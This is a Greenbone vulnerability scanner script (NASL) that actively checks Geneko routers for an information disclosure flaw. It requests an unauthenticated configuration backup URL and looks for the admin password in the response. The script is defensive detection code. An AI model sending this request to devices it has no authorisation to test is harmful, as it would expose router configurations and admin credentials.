Geneko Routers <= 3.18.21 Information Disclosure Vulnerability - Active Check

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:geneko:router_firmware";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.107263");
  script_version("2025-03-18T05:38:50+0000");
  script_tag(name:"last_modification", value:"2025-03-18 05:38:50 +0000 (Tue, 18 Mar 2025)");
  script_tag(name:"creation_date", value:"2017-11-20 14:42:26 +0700 (Mon, 20 Nov 2017)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Geneko Routers <= 3.18.21 Information Disclosure Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_geneko_router_consolidation.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("geneko/router/http/detected");

  script_tag(name:"summary", value:"The Geneko Router is vulnerable to an information disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and check the response.");

  script_tag(name:"insight", value:"The vulnerability is due to bug in the configuration backup
  process.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to obtain the
  device configuration which may contain sensitive information.");

  script_tag(name:"affected", value:"Geneko Routers up to and including version 3.18.21.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"https://ssd-disclosure.com/ssd-advisory-geneko-routers-information-disclosure/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/configuration/confFile.bkg";

req = http_get(port: port, item: url);
res = http_send_recv(port: port, data: req); # Use http_send_recv as http_keepalive_send_recv is not catching the whole file

if (res =~ "^HTTP/1\.[01] 200" && "[admin_admin]" >< res && "admin_admin.password=" >< res) {
  report = "It was possible to read the configuration backup file which contains the admin password at " +
           http_report_vuln_url(port: port, url: url, url_only: TRUE);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);